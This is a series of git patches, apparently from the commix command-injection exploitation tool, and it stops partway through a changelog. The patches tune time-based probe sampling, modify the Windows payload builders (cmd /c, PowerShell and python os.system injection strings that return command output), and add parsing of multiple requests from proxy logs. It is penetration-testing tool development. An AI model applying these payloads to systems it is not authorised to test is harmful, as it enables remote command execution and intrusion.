checks.record_probe_response_time(exec_time) checks.injection_process(injection_type, technique, i=num_of_chars, total=total) continue diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index 5dc3489e4c..5be62d3683 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -128,7 +128,11 @@ def _warm_up_baseline(announce=True): if fan_out > 1 and not settings.CONCURRENT_BASELINE: settings.CONCURRENT_BASELINE = True del settings.RESPONSE_TIMES[:] - if len(settings.RESPONSE_TIMES) < settings.MIN_TIME_RESPONSES: + # What a probe costs is a property of the command being asked, so the previous one's sample is + # dropped rather than left to answer for this one. + del settings.PROBE_RESPONSE_TIMES[:] + if len(settings.RESPONSE_TIMES) < settings.MIN_TIME_RESPONSES or \ + len(settings.PROBE_RESPONSE_TIMES) < settings.MIN_PROBE_RESPONSES: # Silent where the caller has just said what it is taking the model again for: the dots # carry on under that line instead of repeating it. if announce: @@ -143,12 +147,13 @@ def _probe(): else: probe = payloads.cmd_execution(separator, cmd, safe_candidate, OUTPUT_TEXTFILE, timesec, http_request_method) exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, probe, vuln_parameter, http_request_method, url) - checks.record_baseline_response_time(exec_time) + checks.record_probe_response_time(exec_time) # Skip dots in verbose mode; payload debug lines already show progress. if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(".") - while len(settings.RESPONSE_TIMES) < settings.MIN_TIME_RESPONSES: + while len(settings.RESPONSE_TIMES) < settings.MIN_TIME_RESPONSES or \ + len(settings.PROBE_RESPONSE_TIMES) < settings.MIN_PROBE_RESPONSES: try: if fan_out > 1: with concurrent.futures.ThreadPoolExecutor(max_workers=fan_out) as executor: @@ -229,7 +234,9 @@ def _adjust_time_delay(exec_time, lower_limit): return if settings.ADJUST_TIME_DELAY_DISABLED or settings.ADJUST_TIME_DELAY_CHOICE == False: return - candidate = settings.TIME_DELAY_STEP + int(round(lower_limit)) + # Never below the floor 'time_related_timesec()' holds every other caller to, or the + # delay is shortened past the point the payload's own cost can be told apart from it. + candidate = max(settings.TIME_DELAY_STEP + int(round(lower_limit)), checks.min_safe_timesec()) with timesec_lock: delay_candidates.insert(0, candidate) del delay_candidates[settings.TIME_DELAY_CANDIDATES:] @@ -269,7 +276,7 @@ def _measure_length(payload): length_suspect = True decision = checks.time_related_shell(url_time_response, exec_time, timesec) if not decision: - checks.record_baseline_response_time(exec_time) + checks.record_probe_response_time(exec_time) else: lower_limit = checks.current_delay_threshold() if lower_limit is not None: @@ -304,7 +311,7 @@ def _probe_time(candidate): checks.handle_exploitation_interrupt(filename, url) if cannot_hold is None or must_hold is None: return True - checks.record_baseline_response_time(cannot_hold) + checks.record_probe_response_time(cannot_hold) if must_hold - cannot_hold >= checks.injected_delay(timesec) / 2.0: return True return False @@ -663,7 +670,7 @@ def _char_delayed(candidate, operator="-le"): conn_error_flag = True decision = checks.time_related_shell(url_time_response, exec_time, local_timesec) if not decision: - checks.record_baseline_response_time(exec_time) + checks.record_probe_response_time(exec_time) else: lower_limit = checks.current_delay_threshold() if lower_limit is not None: @@ -1067,7 +1074,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese break delayed = checks.time_related_shell(url_time_response, exec_time, timesec) if not delayed: - checks.record_baseline_response_time(exec_time) + checks.record_probe_response_time(exec_time) if expect is not None and delayed != expect: verified = False break @@ -1110,7 +1117,7 @@ def _retry_confirm(payload): return True else: consecutive_hits = 0 - checks.record_baseline_response_time(exec_time) + checks.record_probe_response_time(exec_time) return False found_chars = _retry_confirm(payload) diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index fea8c01c8b..7f415d4179 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -36,9 +36,9 @@ def decision(separator, TAG, randv1, randv2): else: # 'set /p' prints its prompt without a trailing newline, so the marker arrives in one piece. payload = (chain + - "for /f \"tokens=*\" %i in ('cmd /c \"" + + "for /f \"tokens=* eol=\" %i in ('cmd /c \"" + "set /a (" + str(randv1) + "%2B" + str(randv2) + ")" + - "\"') do @set /p=" + TAG + "%i" + TAG + TAG + settings.CMD_NUL + checks.WINDOWS_TAIL + "\"') do @" + settings.CMD_NUL + " set /p=" + TAG + "%i" + TAG + TAG ) else: if settings.USE_BACKTICKS or settings.WAF_ENABLED: @@ -76,9 +76,9 @@ def decision_alter_interpreter(separator, TAG, randv1, randv2): python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" + TAG + "'%2B'" + TAG + "')\"" payload = (chain + - "for /f \"tokens=*\" %i in ('cmd /c " + + "for /f \"tokens=* eol=\" %i in ('cmd /c " + python_payload + - "') do @set /p=%i" + settings.CMD_NUL + checks.WINDOWS_TAIL + "') do @" + settings.CMD_NUL + " set /p=%i" ) else: if settings.SKIP_CALC: @@ -113,9 +113,9 @@ def cmd_execution(separator, TAG, cmd): ) else: payload = (chain + - "for /f \"tokens=*\" %i in ('cmd /c \"" + + "for /f \"tokens=* eol=\" %i in ('cmd /c \"" + cmd + - "\"') do @set /p=" + TAG + TAG + "%i" + TAG + TAG + settings.CMD_NUL + checks.WINDOWS_TAIL + "\"') do @" + settings.CMD_NUL + " set /p=" + TAG + TAG + "%i" + TAG + TAG ) else: settings.USER_APPLIED_CMD = cmd @@ -146,11 +146,11 @@ def cmd_execution_alter_interpreter(separator, TAG, cmd): else: # Run through 'cmd /c', or PowerShell would look the command up among its own cmdlets. payload = (chain + - "for /f \"tokens=*\" %i in ('" + + "for /f \"tokens=* eol=\" %i in ('" + settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('powershell.exe -InputFormat none write-host " + TAG + TAG + " $(cmd /c " + cmd + ") "+ TAG + TAG + "')\"" + - "') do @set /p=%i" + settings.CMD_NUL + checks.WINDOWS_TAIL + "') do @" + settings.CMD_NUL + " set /p=%i" ) else: settings.USER_APPLIED_CMD = cmd diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py index bf69bad60f..1592c81072 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py @@ -36,7 +36,7 @@ def _print_statement(separator, commands, chain=None): Read a value off a Windows command that prints no newline of its own, such as 'set /a'. """ def _windows_line(cmd): - return "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do @echo %i" + return "for /f \"tokens=* eol=\" %i in ('cmd /c \"" + cmd + "\"') do @echo %i" """ eval-based decision payload (check if host is vulnerable). diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index 5eec1d8625..e74bdf3b5c 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -39,7 +39,7 @@ def decision(separator, TAG, OUTPUT_TEXTFILE): # The marker is read back from the file over HTTP, so writing it is all the payload has to do. payload = (chain + settings.WIN_FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + - settings.SINGLE_WHITESPACE + "'" + TAG + "'" + checks.WINDOWS_TAIL + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + checks.windows_tail(chain) ) else: payload = (separator + @@ -72,7 +72,7 @@ def decision_alter_interpreter(separator, TAG, OUTPUT_TEXTFILE): return "" payload = (chain + settings.WIN_PYTHON_INTERPRETER + " -c \"open('" + windows_output_path(OUTPUT_TEXTFILE) + "','w').write('" + TAG + "')\"" + - checks.WINDOWS_TAIL + checks.windows_tail(chain) ) else: payload = (separator + @@ -114,7 +114,7 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): # The output is read back from the file, so it is redirected there rather than printed. payload = (chain + cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + - checks.WINDOWS_TAIL + checks.windows_tail(chain) ) else: settings.USER_APPLIED_CMD = cmd @@ -140,7 +140,7 @@ def cmd_execution_alter_interpreter(separator, cmd, OUTPUT_TEXTFILE): else: payload = (chain + settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + settings.FILE_WRITE_OPERATOR + windows_output_path(OUTPUT_TEXTFILE) + "')\"" + - checks.WINDOWS_TAIL + checks.windows_tail(chain) ) else: settings.USER_APPLIED_CMD = cmd diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 2d811ad018..0d79feeb72 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -213,7 +213,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth ascii_output = ("powershell.exe -InputFormat none write-host ([int[]][char[]](" + windows_cmd_text(cmd) + "))") payload = (chain + - "for /f \"tokens=*\" %i in ('cmd /c \"" + ascii_output + "\"') do " + + "for /f \"tokens=* eol=\" %i in ('cmd /c \"" + ascii_output + "\"') do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + checks.windows_probe(checks.WINDOWS_CHAIN, "powershell.exe -InputFormat none write-host " + windows_file_text(OUTPUT_TEXTFILE) + ".split([char]32).length", @@ -289,7 +289,7 @@ def cmd_execution_alter_interpreter(separator, cmd, j, OUTPUT_TEXTFILE, timesec, if chain is not None: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\"" payload = (chain + - "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do " + + "for /f \"tokens=* eol=\" %i in ('cmd /c " + cmd + "') do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + checks.windows_probe(checks.WINDOWS_CHAIN, python_payload, "EQU", j, timesec) ) diff --git a/src/utils/settings.py b/src/utils/settings.py index a60c367b2b..bf94ebbf24 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -328,7 +328,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "112" +REVISION = "113" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1515,6 +1515,11 @@ class END_LINE: MIN_TIME_RESPONSES = 30 MAX_TIME_RESPONSES = 200 RESPONSE_TIMES = [] + +# Answers to the technique's own payload with a condition that cannot hold, kept apart from +# the plain requests the model is warmed up with: those two cost different amounts. +PROBE_RESPONSE_TIMES = [] +MIN_PROBE_RESPONSES = 5 # Set once a time-related payload's own cost has been sampled into the model above. PAYLOAD_BASELINE_SAMPLED = False # Whether the model above was sampled the way the payloads that follow are sent - concurrently, From 7b14e91423944209e422e81856dfa7517dfb32ce Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 10 Sep 2026 09:11:02 +0300 Subject: [PATCH 0771/1023] Added support for testing multiple HTTP requests parsed from a single request or proxy log file --- doc/CHANGELOG.md | 1 + src/core/injections/controller/parser.py | 345 +++++++++++++++-------- src/core/main.py | 48 ++++ src/utils/settings.py | 13 +- 4 files changed, 289 insertions(+), 118 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index f35ef91e2e..b4b4963230 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: Support for testing multiple HTTP requests parsed from a single request or proxy log file. * Fixed: Only marked HTTP headers are tested, and GET/POST/cookie parameters named like a header (e.g. 'host') are no longer treated as headers. * Revised: Improved reliability across the supported injection techniques and modules, including out-of-band (OAST) detection and command execution support. * Added: New `-o` switch to turn on all optimization switches. diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 331e84128b..4cdd2f6e20 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -29,120 +29,139 @@ Extract a single header's value from a raw "Name: value" line, or None if it's a different header. """ def _extract_header_value(header_name, line): - match = re.findall(r"^" + header_name + ":" + " (.*)", line) + # Header names are case-insensitive, so match them as sent rather than reshaping them. + match = re.findall(r"(?i)^" + header_name + ":" + " (.*)", line) return "".join([str(i) for i in match]) if match else None """ -Parse target and data from http proxy logs (i.e Burp or WebScarab) +Error message for invalid data. """ -def logfile_parser(): - """ - Warning message for mutiple request in same log file. - """ - def multi_requests(): - err_msg = "This tool does not support multiple" - if menu.options.requestfile: - err_msg += " requests" - elif menu.options.logfile: - err_msg += " targets" - err_msg += ", so it will ignore all coming" - if menu.options.requestfile: - err_msg += " requests" - elif menu.options.logfile: - err_msg += " targets" - err_msg += "." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - - return False +def _invalid_data(request_file): + err_msg = "Specified file " + err_msg += "'" + os.path.split(request_file)[1] + "'" + err_msg += " does not contain a valid HTTP request." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() - """ - Error message for invalid data. - """ - def invalid_data(request): - err_msg = "Specified file " - err_msg += "'" + os.path.split(request_file)[1] + "'" - err_msg += " does not contain a valid HTTP request." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() +""" +Split the content of a request / proxy log file into the single requests it holds. +""" +def _split_requests(content): + # A proxy log export delimits its entries with rows of '=', responses among them. + if re.search(settings.PROXY_LOG_REQUEST_REGEX, content, re.I | re.S): + # Only blocks opening on a method token are requests, which leaves the responses out. + return [match.group(1) for match in re.finditer(settings.PROXY_LOG_REQUEST_REGEX, content, re.I | re.S)] - if menu.options.requestfile: - info_msg = "Parsing HTTP request " - request_file = menu.options.requestfile - - elif menu.options.logfile: - info_msg = "Parsing target " - request_file = menu.options.logfile + # An XML history export keeps every request base64-encoded, with its port stored apart. + if re.search(settings.PROXY_LOG_XML_REQUEST_REGEX, content, re.I | re.S): + requests = [] + for port, encoded in re.findall(settings.PROXY_LOG_XML_REQUEST_REGEX, content, re.I | re.S): + try: + request = base64.b64decode(encoded).decode(settings.DEFAULT_CODEC) + except (binascii.Error, TypeError, UnicodeDecodeError): + continue + # The host line carries no port, so put back the one the log kept beside it. + match = re.search(r"(?im)^" + settings.HOST + r":.+", request) + if match: + host = match.group(0).strip() + if not re.search(r":\d+\Z", host) and str(port) != "80": + request = request.replace(host, host + ":" + str(port)) + requests.append(request) + return requests - if not os.path.exists(request_file): - err_msg = "It seems the '" + request_file + "' file does not exist." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + return [content] +""" +Skip a request asking for a static file, which has nothing to inject into. +""" +def _is_static_request(http_method, request_url): + if http_method != settings.HTTPMETHOD.GET or settings.INJECT_TAG in request_url: + return False + path = _urllib.parse.urlparse(request_url).path + extension = os.path.splitext(path)[1].lstrip(".").lower() + return bool(extension) and extension in [_.lower() for _ in settings.CRAWL_EXCLUDE_EXTENSIONS] + +""" +Signature of a target, so the same endpoint logged again is not tested twice. +""" +def _target_signature(target): + parsed = _urllib.parse.urlparse(target["url"]) + # The parameter names are what gets tested, so two requests differing only in values are one target. + query_params = tuple(sorted(_urllib.parse.parse_qs(parsed.query, keep_blank_values=True))) try: - if os.stat(request_file).st_size != 0: - with open(request_file, encoding=settings.DEFAULT_CODEC) as file: - request = file.read() - # Normalize CRLF line endings. - request = request.replace(settings.END_LINE.CRLF, settings.END_LINE.LF) - else: - invalid_data(request_file) - - if menu.options.requestfile or menu.options.logfile: - c = 1 - request_headers = [] - if menu.options.header: - request_headers.append(menu.options.header) - elif menu.options.headers: - request_headers.extend(menu.options.headers.split(settings.END_LINE.ESCAPED_LF)) - request_lines = request.split(settings.END_LINE.LF) - while c < len(request_lines) and len(request_lines[c]) > 0 and ':' in request_lines[c]: - x = request_lines[c].find(':') - header_name = request_lines[c][:x].title() - header_value = request_lines[c][x + 1:] - request_headers.append(header_name + ":" + header_value) - c += 1 - if c < len(request_lines) and len(request_lines[c]) == 0: - c += 1 - menu.options.data = "".join(request_lines[c:] if c < len(request_lines) else "") - - # Normalize a JSON body right away, so every request (including the first - # connectivity check) uses the same pretty-printed form, not the raw file layout. - if re.search(settings.JSON_RECOGNITION_REGEX, menu.options.data) or re.search(settings.JSON_LIKE_RECOGNITION_REGEX, menu.options.data): - try: - parsed = json.loads(menu.options.data, object_pairs_hook=OrderedDict) - menu.options.data = json.dumps(unflatten_list(parsed), indent=2, ensure_ascii=False) - except Exception: - pass - settings.RAW_HTTP_HEADERS = settings.END_LINE.ESCAPED_LF.join(request_headers) + data_params = tuple(sorted(_urllib.parse.parse_qs(target["data"] or "", keep_blank_values=True))) + except (AttributeError, ValueError): + data_params = () + return (target["method"], parsed.netloc, parsed.path, query_params, data_params) - except IOError as err_msg: - error_msg = "The '" + request_file + "' " - error_msg += str(err_msg.args[1]).lower() + "." - settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) - raise SystemExit() +""" +Parse a single raw HTTP request into the target it describes. +""" +def _parse_request(request, request_file): + # Normalize CRLF line endings. + request = request.replace(settings.END_LINE.CRLF, settings.END_LINE.LF) + request = re.sub(r"\A[^\w]+", "", request) + + if "HTTP/" not in request: + return None + + target = { + "url" : "", + "method" : "", + "data" : "", + "host" : None, + "agent" : None, + "cookie" : None, + "referer" : None, + "auth_type" : None, + "auth_cred" : None, + "headers" : "", + "raw_headers" : "" + } - pattern = r'HTTP/([\d.]+)' - if len(re.findall(pattern, request)) > 1: - multi_requests() + c = 1 + request_headers = [] + if menu.options.header: + request_headers.append(menu.options.header) + elif menu.options.headers: + request_headers.extend(menu.options.headers.split(settings.END_LINE.ESCAPED_LF)) + request_lines = request.split(settings.END_LINE.LF) + while c < len(request_lines) and len(request_lines[c]) > 0 and ':' in request_lines[c]: + x = request_lines[c].find(':') + # Keep the name as it was sent: a header the target matches case-sensitively would break. + header_name = request_lines[c][:x] + header_value = request_lines[c][x + 1:] + request_headers.append(header_name + ":" + header_value) + c += 1 + if c < len(request_lines) and len(request_lines[c]) == 0: + c += 1 + # A body is line-based (multipart boundaries, XML, form data), so keep its line endings. + target["data"] = settings.END_LINE.LF.join(request_lines[c:]).rstrip(settings.END_LINE.LF) if c < len(request_lines) else "" + + # Normalize a JSON body right away, so every request (including the first + # connectivity check) uses the same pretty-printed form, not the raw file layout. + if re.search(settings.JSON_RECOGNITION_REGEX, target["data"]) or re.search(settings.JSON_LIKE_RECOGNITION_REGEX, target["data"]): + try: + parsed = json.loads(target["data"], object_pairs_hook=OrderedDict) + target["data"] = json.dumps(unflatten_list(parsed), indent=2, ensure_ascii=False) + except Exception: + pass + target["raw_headers"] = settings.END_LINE.ESCAPED_LF.join(request_headers) # Safely determine HTTP method - if len(settings.HTTP_METHOD) == 0: - lines = request.strip().splitlines() - if lines and len(lines[0].split()) >= 1: - http_method = lines[0].split()[0] - else: - # fallback to default method if malformed/empty - http_method = settings.HTTPMETHOD.GET - settings.HTTP_METHOD = http_method + lines = request.strip().splitlines() + if lines and len(lines[0].split()) >= 1: + target["method"] = lines[0].split()[0] else: - http_method = settings.HTTP_METHOD + # fallback to default method if malformed/empty + target["method"] = settings.HTTPMETHOD.GET # Safely extract request URL match = re.search(r"\s(.*?)\sHTTP/", request or "") request_url = match.group(1) if match else "" if not request_url: - invalid_data(request_file) + return None request_url = "".join([str(i) for i in request_url]) # Check for other headers @@ -152,34 +171,34 @@ def invalid_data(request): for line in request_headers: host_value = _extract_header_value(settings.HOST, line) if host_value is not None: - menu.options.host = host_value + target["host"] = host_value agent_value = _extract_header_value(settings.USER_AGENT, line) if agent_value is not None: - menu.options.agent = agent_value + target["agent"] = agent_value cookie_value = _extract_header_value(settings.COOKIE, line) if cookie_value is not None: - menu.options.cookie = cookie_value + target["cookie"] = cookie_value referer_value = _extract_header_value(settings.REFERER, line) if referer_value is not None: - menu.options.referer = referer_value + target["referer"] = referer_value if "https://" in referer_value: scheme = "https://" if re.findall(r"" + settings.AUTHORIZATION + ":" + " (.*)", line): auth_provided = "".join([str(i) for i in re.findall(r"" + settings.AUTHORIZATION + ":" + " (.*)", line)]).split() if auth_provided: - menu.options.auth_type = auth_provided[0].lower() - if menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: + target["auth_type"] = auth_provided[0].lower() + if target["auth_type"].lower() == settings.AUTH_TYPE.BASIC: try: # Add base64 padding if missing b64_string = auth_provided[1] b64_string += '=' * (-len(b64_string) % 4) - menu.options.auth_cred = base64.b64decode(b64_string).decode() + target["auth_cred"] = base64.b64decode(b64_string).decode() except (binascii.Error, UnicodeDecodeError) as e: err_msg = "Invalid base64-encoded credentials provided in Authorization header: " + format(str(e)) settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: + elif target["auth_type"].lower() == settings.AUTH_TYPE.DIGEST: if not menu.options.auth_cred: err_msg = "Use the '--auth-cred' option to provide a valid pair of " err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " @@ -190,24 +209,116 @@ def invalid_data(request): else: match = re.match(r"(.*): (.*)", line) # Ignore some headers. - if match and match.group(1) not in (settings.CONTENT_LENGTH, settings.ACCEPT_ENCODING): + if match and match.group(1).lower() not in [_.lower() for _ in (settings.CONTENT_LENGTH, settings.ACCEPT_ENCODING, \ + settings.CONNECTION, settings.PROXY_CONNECTION, settings.IF_MODIFIED_SINCE, settings.IF_NONE_MATCH)]: extra_headers += match.group(1) + ":" + match.group(2) + settings.END_LINE.ESCAPED_LF # Extra headers - menu.options.headers = extra_headers - + target["headers"] = extra_headers + # Target URL - if not menu.options.host: - invalid_data(request_file) - else: - if len(_urllib.parse.urlparse(request_url).scheme) == 0: - request_url = scheme + request_url - if not menu.options.host in request_url: - request_url = request_url.replace(scheme, scheme + menu.options.host) - request_url = checks.check_http_s(request_url) - info_msg += "using the '" + os.path.split(request_file)[1] + "' file. " + if not target["host"]: + return None + + if len(_urllib.parse.urlparse(request_url).scheme) == 0: + request_url = scheme + request_url + if not target["host"] in request_url: + request_url = request_url.replace(scheme, scheme + target["host"]) + target["url"] = checks.check_http_s(request_url) + + if _is_static_request(target["method"], target["url"]): + return None + + return target + +""" +Remember what was given on the command line, before any parsed request overwrites it. +""" +_command_line_options = {} + +def _keep_command_line_options(): + if not _command_line_options: + for option in ("host", "agent", "cookie", "referer", "auth_type", "auth_cred"): + _command_line_options[option] = getattr(menu.options, option, None) + +""" +Apply a parsed target, so the scan that follows runs against that request. +""" +def apply_target(target): + _keep_command_line_options() + menu.options.url = target["url"] + menu.options.data = target["data"] + menu.options.headers = target["headers"] + settings.RAW_HTTP_HEADERS = target["raw_headers"] + settings.HTTP_METHOD = target["method"] + # The request method follows the body, so a target without one must not inherit the previous body. + settings.USER_DEFINED_POST_DATA = target["data"] + settings.IGNORE_USER_DEFINED_POST_DATA = False + # What a request does not carry falls back to the command line, never to the previous target. + for option in ("host", "agent", "cookie", "referer", "auth_type", "auth_cred"): + value = target[option] if target[option] is not None else _command_line_options.get(option) + setattr(menu.options, option, value) + +""" +Parse every target described by a request / proxy log file. +""" +def parse_requests(request_file): + if not os.path.exists(request_file): + err_msg = "It seems the '" + request_file + "' file does not exist." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + try: + if os.stat(request_file).st_size == 0: + _invalid_data(request_file) + with open(request_file, encoding=settings.DEFAULT_CODEC) as file: + content = file.read() + except IOError as err_msg: + error_msg = "The '" + request_file + "' " + error_msg += str(err_msg.args[1]).lower() + "." + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) + raise SystemExit() + + targets = [] + seen = set() + for request in _split_requests(content): + target = _parse_request(request, request_file) + if target is None: + continue + signature = _target_signature(target) + if signature in seen: + continue + seen.add(signature) + targets.append(target) + + if not targets: + _invalid_data(request_file) + + return targets + +""" +Parse target and data from http proxy logs (i.e Burp or WebScarab) +""" +def logfile_parser(): + if menu.options.requestfile: + info_msg = "Parsing HTTP request " + request_file = menu.options.requestfile + elif menu.options.logfile: + info_msg = "Parsing target " + request_file = menu.options.logfile + + targets = parse_requests(request_file) + + info_msg += "using the '" + os.path.split(request_file)[1] + "' file. " + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + if len(targets) > 1: + info_msg = "Found a total of " + str(len(targets)) + " targets in the provided file." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - - menu.options.url = request_url -# eof \ No newline at end of file + settings.MULTI_REQUEST_TARGETS = targets + apply_target(targets[0]) + + return targets + +# eof diff --git a/src/core/main.py b/src/core/main.py index ecb18059b0..e4fdd38ff4 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -426,6 +426,48 @@ def prompt_skip_vulnerable_host(target_url): message += "Do you want to skip further tests involving it? [Y/n] " common.prompt_yes_no_setting(message, "SKIP_VULNERABLE_HOST", default="Y") +""" +Test, one after the other, every request parsed from a request / proxy log file. +""" +def scan_parsed_targets(os_checks_num): + # The scan reads these where the single-target flow leaves them, at module level. + global response, url, filename + targets = settings.MULTI_REQUEST_TARGETS + filename = None + for target_num, target in enumerate(targets, start=1): + parser.apply_target(target) + url = menu.options.url + http_request_method = checks.check_http_method(url) + settings.print_data_to_stdout(settings.print_message("[" + str(target_num) + "/" + str(len(targets)) + "] URL - " + http_request_method + " " + url)) + if check_for_injected_url(url): + prompt_skip_vulnerable_host(url) + if settings.SKIP_VULNERABLE_HOST: + info_msg = "Skipping URL '" + url + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + continue + settings.SKIP_VULNERABLE_HOST = None + if os_checks_num == 0: + settings.INIT_TEST = True + # Reset the injection level + if settings.INJECTION_LEVEL > settings.HTTP_HEADER_INJECTION_LEVEL: + settings.INJECTION_LEVEL = 1 + # Skip upfront detection-only probes below when a stored technique already exists. + settings.LIKELY_RESUME = session_handler.has_any_stored_technique(url, http_request_method) + init_injection(url) + try: + response, url = url_response(url, http_request_method) + if response != False: + filename = logs.logs_filename_creation(url) + session_handler.restore_waf_status(url) + main(filename, url, http_request_method) + else: + err_msg = "Unable to establish a connection with the target URL." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + except KeyboardInterrupt: + checks.handle_early_interrupt(filename, url) + except (Exception, SystemExit): + pass + """ Check if value is inside boundaries """ @@ -1062,6 +1104,12 @@ def _time_limit_reached(signum, frame): settings.URL_PARAM_DELIMITER = menu.options.pdel http_request_method = checks.check_http_method(url) + # A request / proxy log file holding more than one request is tested target by target. + if len(settings.MULTI_REQUEST_TARGETS) > 1 and not settings.CRAWLING: + settings.MULTI_TARGETS = True + menu.options.batch = True + scan_parsed_targets(os_checks_num) + raise SystemExit() if not settings.STDIN_PARSING and not menu.options.bulkfile and not settings.CRAWLING: if os_checks_num == 0: settings.INIT_TEST = True diff --git a/src/utils/settings.py b/src/utils/settings.py index bf94ebbf24..9043af7781 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -328,7 +328,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "113" +REVISION = "114" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1338,6 +1338,13 @@ class AUTH_TYPE(object): RAW_HTTP_HEADERS = "" +# Request blocks of a proxy log export, delimited by rows of '=' and starting on a method token. +PROXY_LOG_REQUEST_REGEX = r"={10,}\s+([A-Z]{3,} .+?)\s+(={10,}|\Z)" +# Requests of an XML history export, stored base64-encoded with the port kept apart. +PROXY_LOG_XML_REQUEST_REGEX = r'<port>(\d+)</port>.*?<request base64="true"><!\[CDATA\[([^]]+)' +# Targets parsed from a file holding more than one request, tested one after the other. +MULTI_REQUEST_TARGETS = [] + USER_APPLIED_TAMPER = "" # Tamper payload modification letters @@ -1650,6 +1657,10 @@ class END_LINE: ACCEPT_ENCODING = "Accept-Encoding" AUTHORIZATION = "Authorization" CONTENT_LENGTH = "Content-Length" +CONNECTION = "Connection" +PROXY_CONNECTION = "Proxy-Connection" +IF_MODIFIED_SINCE = "If-Modified-Since" +IF_NONE_MATCH = "If-None-Match" CONTENT_TYPE = "Content-Type" SERVER = "Server" SET_COOKIE = "Set-Cookie" From a764c4900ba6d1aefa048ade4fb821281ac8e077 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 10 Sep 2026 15:51:03 +0300 Subject: [PATCH 0772/1023] Added new `--chunked` switch for HTTP chunked transfer-encoded POST requests and new `--scope` option to filter targets using regular expressions --- doc/CHANGELOG.md | 2 + src/core/injections/controller/checks.py | 18 +++++++ src/core/injections/controller/parser.py | 9 ++++ src/core/main.py | 22 ++++++++- src/core/requests/chunked.py | 60 ++++++++++++++++++++++++ src/core/requests/headers.py | 14 +++++- src/utils/crawler.py | 2 +- src/utils/menu.py | 11 +++++ src/utils/settings.py | 15 +++++- 9 files changed, 149 insertions(+), 4 deletions(-) create mode 100644 src/core/requests/chunked.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index b4b4963230..eca5720f7b 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,6 @@ ## Version 4.2 (TBA) +* Added: New `--chunked` switch to split POST data into HTTP chunked transfer-encoded 